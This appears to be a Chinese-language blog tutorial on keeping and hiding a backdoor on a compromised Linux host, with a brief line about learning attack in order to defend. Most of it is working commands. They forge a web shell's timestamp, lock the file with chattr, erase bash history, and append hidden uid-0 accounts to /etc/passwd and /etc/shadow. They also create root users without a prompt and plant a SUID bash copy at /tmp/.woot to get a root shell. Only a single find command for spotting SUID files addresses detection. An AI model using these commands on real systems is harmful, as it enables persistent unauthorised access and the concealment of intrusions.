前言
“ 不知攻,焉知防。很多年前大家就会讨论先学攻击,还是先学防守,这些年下来,我还是觉得应该先学攻击,防守的学习都是从攻击经验中学习的,防守思路也是从攻击思路中去学习,所以,想学会如何排查后面,就需要先学习怎么安装后门吧”
下面文章是部分学习的思路,后续补充
1、修改文件属性
蓝队如果根据时间来判断文件是否为后门,可以通过参考index.php的时间,来比对,来排出shell文件
我们可以使用touch命令,来修改文件或者目录的时间属性。包括存取和更改时间:
代码语言:javascript复制touch -r index.php shell.php
2、文件锁定(权限隐藏)
在Linux中,使用chattr命令来防止root或者其他用户误删,这个权限是ls -l查看不出来的,达到一个隐藏权限的目的。
代码语言:javascript复制chattr i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件
3、历史操作命令隐藏
方式一、针对我们的命令终端关闭历史聊天记录
代码语言:javascript复制[space]set o history
[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
从上面命令之后,我们在同一个终端中,之后的所有命令都不会被记录在历史中,这个命令之前的所有东西都会原样记录在历史中。
需要重新开启历史记录,执行:
代码语言:javascript复制[Space]set -o history #将环境恢复原状
方式二、从历史记录中删除指定命令
指定某个记录进行删除
代码语言:javascript复制history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有一个数字
代码语言:javascript复制history -d [num]
删除大规模的历史操作记录(不如方式一直接用),只保留前面150行
代码语言:javascript复制sed -i '150,$d' .bash_history
二、添加用户
1、passwd写入
我们可以直接通过写入passwd文件进行用户写入
代码语言:javascript复制/etc/passwd 各部分含义:
⽤户名:密码:⽤户ID:组ID:身份描述:⽤户的家⽬录:⽤户登录后所使⽤的SHELL
增加超级用户:
代码语言:javascript复制$echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd
直接通过passwd写入不适用于所有系统,因为passwd对于所有用户可读,所以现在很多系统使用加密分装shadow技术,真正的密码存在/etc/shadow文件中
/etc/shadow 各部分含义:
⽤户名:密码的MD5加密值:⾃系统使⽤以来⼝令被修改的天数:⼝令的最⼩修改间隔:⼝令更改的周期:⼝令失效的天数:⼝令失效以后帐号会被锁定多少天:⽤户帐号到期时间:保留字段尚未使⽤
如果系统不允许uid=0的用户远程登录,
可以增加一个普通用户
代码语言:javascript复制echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
如果可以允许uid=0远程登录:
增加超级用户命令
代码语言:javascript复制echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级⽤户账号
passwd cshm #修改cshm的密码
设置不允许root账户远程登录,参考链接:https://www.cnblogs.com/binblogs/p/5201307.html
第三种情况:不交互⽆回显添加Linux密码
第一种
代码语言:javascript复制useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg #创建账户wxg、密
码123456且为root权限
useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg #创建账户wxg、密
码123456且为root权限
需要执行两次
第二种:
代码语言:javascript复制useradd test echo "123456" | passwd --stdin test
权限非常小
第三种:
代码语言:javascript复制useradd -u 0 -o -g root -G root user |echo -e "1qazwsx2wsxn1qazwsx2wsx"|passwd user
也是需要执行两次,而且对密码强度有需求
三、SUID
当一个文件所属主的x标注位s时(简称suid),且所属主为root组,执行该文件时,其实是以root身份执行的。
必要条件:
1、SUID权限仅对⼆进制程序有效。
2、执⾏者对于该程序需要具有x的可执⾏权限
3、本权限仅在执⾏该程序的过程中有效
4、在执⾏过程中执⾏者将具有该程序拥有者的权限
我们可以创建一个suid权限的文件
$cp /bin/bash /tmp/.woot
$chmod 4755 /tmp/.woot
$ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .woot
我们可以使用一般的用户权限去运行
代码语言:javascript复制$/tmp/.woot
$/tmp/.woot -p
bash2 针对 suid 有⼀些护卫的措施,使⽤-p参数来获取⼀个root shell
检测方式:
查找具有suid权限的文件即可
代码语言:javascript复制find / -perm 4000 -ls
find / -perm -u=s -type f 2>/dev/nul